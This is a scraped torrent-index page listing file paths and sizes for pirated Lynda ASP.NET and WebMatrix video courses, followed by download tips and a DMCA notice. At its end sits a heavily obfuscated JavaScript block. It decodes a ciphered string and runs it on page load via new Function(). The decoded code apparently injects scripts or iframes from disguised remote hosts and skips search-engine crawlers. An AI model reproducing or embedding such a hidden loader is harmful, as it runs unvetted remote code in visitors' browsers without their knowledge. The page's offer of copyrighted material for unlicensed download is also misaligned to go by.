22389170}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET_15837/013 ASP.NET MVC - Working with models and forms.mp4", "length": 13211343}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET_15837/014 Choosing tools for managing data - Object-relational mapping (ORM) tools and the Entity Framework.mp4", "length": 5132135}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET_15837/015 Code-first development with the Entity Framework.mp4", "length": 15823315}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET_15837/016 Database-first development with the Entity Framework.mp4", "length": 19293121}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET_15837/017 Using LINQ to Entities.mp4", "length": 14530145}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET_15837/018 Understanding REST.mp4", "length": 8017617}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET_15837/019 Creating a web API.mp4", "length": 31344606}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET_15837/020 Consuming a web API.mp4", "length": 15214501}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET_15837/021 Introducing ASP.NET SignalR.mp4", "length": 4365002}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET_15837/022 Establishing connections with SignalR Hubs.mp4", "length": 17798051}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET_15837/023 Implementing live help.mp4", "length": 21149226}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET_15837/024 Challenge - Detecting updates in real time.mp4", "length": 4367323}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET_15837/025 Solution - Detecting updates in real time.mp4", "length": 21980970}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET_15837/026 Next steps.mp4", "length": 6866238}, {"path": "ASP-NET-tutorials_Up-Running-WebMatrix-ASP-NET_8508/001 Welcome.mp4", "length": 4753435}, {"path": "ASP-NET-tutorials_Up-Running-WebMatrix-ASP-NET_8508/002 Prerequisites.mp4", "length": 860072}, {"path": "ASP-NET-tutorials_Up-Running-WebMatrix-ASP-NET_8508/003 Using the exercise files.mp4", "length": 4434434}, {"path": "ASP-NET-tutorials_Up-Running-WebMatrix-ASP-NET_8508/004 What is WebMatrix.mp4", "length": 3566221}, {"path": "ASP-NET-tutorials_Up-Running-WebMatrix-ASP-NET_8508/005 Downloading and installing WebMatrix.mp4", "length": 1651120}, {"path": "ASP-NET-tutorials_Up-Running-WebMatrix-ASP-NET_8508/006 Hello world - Creating a web site.mp4", "length": 1492133}, {"path": "ASP-NET-tutorials_Up-Running-WebMatrix-ASP-NET_8508/007 Exploring the WebMatrix IDE.mp4", "length": 3956316}, {"path": "ASP-NET-tutorials_Up-Running-WebMatrix-ASP-NET_8508/008 Running your web site.mp4", "length": 1918839}, {"path": "ASP-NET-tutorials_Up-Running-WebMatrix-ASP-NET_8508/009 Inspecting the server environment with ServerInfo.mp4", "length": 1243219}, {"path": "ASP-NET-tutorials_Up-Running-WebMatrix-ASP-NET_8508/010 Choosing a site template.mp4", "length": 2304282}, {"path": "ASP-NET-tutorials_Up-Running-WebMatrix-ASP-NET_8508/011 Installing the WordPress template.mp4", "length": 5049279}, {"path": "ASP-NET-tutorials_Up-Running-WebMatrix-ASP-NET_8508/012 Installing the Joomla! template.mp4", "length": 4340354}, {"path": "ASP-NET-tutorials_Up-Running-WebMatrix-ASP-NET_8508/013 Installing the nopCommerce template.mp4", "length": 6021662}, {"path": "ASP-NET-tutorials_Up-Running-WebMatrix-ASP-NET_8508/014 Using file templates.mp4", "length": 3595463}, {"path": "ASP-NET-tutorials_Up-Running-WebMatrix-ASP-NET_8508/015 Incorporating a style sheet.mp4", "length": 4492283}, {"path": "ASP-NET-tutorials_Up-Running-WebMatrix-ASP-NE

Download Info

  • Tips

    “Lynda - Developer” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();